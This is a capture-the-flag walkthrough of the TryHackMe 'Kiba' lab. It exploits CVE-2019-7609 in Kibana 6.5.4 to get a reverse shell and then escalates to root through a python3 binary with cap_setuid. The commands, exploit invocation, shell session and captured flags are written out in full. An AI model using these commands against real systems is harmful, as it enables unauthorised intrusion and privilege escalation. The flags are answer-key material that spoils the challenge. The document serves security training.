TryHackMe-kiba
kiba
Identify the critical security flaw in the data visualization dashboard, that allows execute remote code execution.
[Task 1] Flags
Are you able to complete the challenge? The machine may take up to 7 minutes to boot and configure
#1 - What is the vulnerability that is specific to programming languages with prototype-based inheritance?
Answer: prototype pollution
#2 - What is the version of visualization dashboard installed in the server?
Scanning the target with Nmap reveals several open ports, 1 of which hosting Kibana (port 5601).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 9d:f8:d1:57:13:24:81:b6:18:5d:04:8e:d2:38:4f:90 (RSA) | 256 e1:e6:7a:a1:a1:1c:be:03:d2:4e:27:1b:0d:0a:ec:b1 (ECDSA) |_ 256 2a:ba:e5:c5:fb:51:38:17:45:e7:b1:54:ca:a1:a3:fc (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 5044/tcp open lxi-evntsvc? 5601/tcp open esmagent? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe: | HTTP/1.1 400 Bad Request | FourOhFourRequest: | HTTP/1.1 404 Not Found | kbn-name: kibana | kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c | content-type: application/json; charset=utf-8 | cache-control: no-cache | content-length: 60 | connection: close | undefined: undefined | Date: Thu, 17 Sep 2020 18:55:56 GMT | {"statusCode":404,"error":"Not Found","message":"Not Found"} | GetRequest: | HTTP/1.1 302 Found | location: /app/kibana | kbn-name: kibana | kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c | cache-control: no-cache | content-length: 0 | connection: close | undefined: undefined | Date: Thu, 17 Sep 2020 18:55:50 GMT | HTTPOptions: | HTTP/1.1 404 Not Found | kbn-name: kibana | kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c | content-type: application/json; charset=utf-8 | cache-control: no-cache | content-length: 38 | connection: close | undefined: undefined | Date: Thu, 17 Sep 2020 18:55:53 GMT |_ {"statusCode":404,"error":"Not Found"}
Connect to http://10.10.113.146:5601 and go to “management”. The version of Kibana is displayed on the top left corner.
Answer: 6.5.4
#3 - What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
Answer: CVE-2019-7609
#4 - Compromise the machine and locate user.txt
Start a listener (rlwrap nc -nlvp 4444
) and run the exploit:
kali@kali:/data/kiba/files$ git clone https://github.com/LandGrey/CVE-2019-7609.git kali@kali:/data/kiba/files$ cd CVE-2019-7609 kali@kali:/data/kiba/files/CVE-2019-7609$ python CVE-2019-7609-kibana-rce.py -u http://10.10.113.146:5601 -host 10.8.50.72 -port 4444 --shell [+] http://10.10.113.146:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability [+] reverse shell completely! please check session on: 10.8.50.72:4444
Now we have a shell:
kali@kali:/data/kiba$ rlwrap nc -nlvp 4444 listening on [any] 4444 ... connect to [10.8.50.72] from (UNKNOWN) [10.10.113.146] 45840 bash: cannot set terminal process group (980): Inappropriate ioctl for device bash: no job control in this shell To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. kiba@ubuntu:/home/kiba/kibana/bin$ ls -la /home ls -la /home total 12 drwxr-xr-x 3 root root 4096 Mar 31 10:41 . drwxr-xr-x 22 root root 4096 Mar 31 17:13 .. drwxr-xr-x 6 kiba kiba 4096 Mar 31 22:59 kiba kiba@ubuntu:/home/kiba/kibana/bin$ cat /home/kiba/user.txt cat /home/kiba/user.txt THM{1s_easy_pwn3d_k1bana_w1th_rce}
#5 - Capabilities is a concept that provides a security system that allows “divide” root privileges into different values
No answer here
#6 - How would you recursively list all of these capabilities?
Answer: getcap -r /
#7 - Escalate privileges and obtain root.txt
Checking the capabilities reveals a custom python3 installation in /home/kiba/.hackmeplease/
:
kiba@ubuntu:/home/kiba/kibana/bin$ getcap -r / 2>/dev/null getcap -r / 2>/dev/null /home/kiba/.hackmeplease/python3 = cap_setuid+ep /usr/bin/mtr = cap_net_raw+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
Checking on GTFOBins what we can do with python
related to capabilities reveals that we can escalate our privileges to root:
kiba@ubuntu:/home/kiba/kibana/bin$ /home/kiba/.hackmeplease/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' <please/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' id uid=0(root) gid=1000(kiba) groups=1000(kiba),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
Let’s get a better shell and get the root flag:
SHELL=/bin/bash script -q /dev/null To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. root@ubuntu:/home/kiba/kibana/bin# cat /root/root.txt cat /root/root.txt THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es}
Answer: THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es}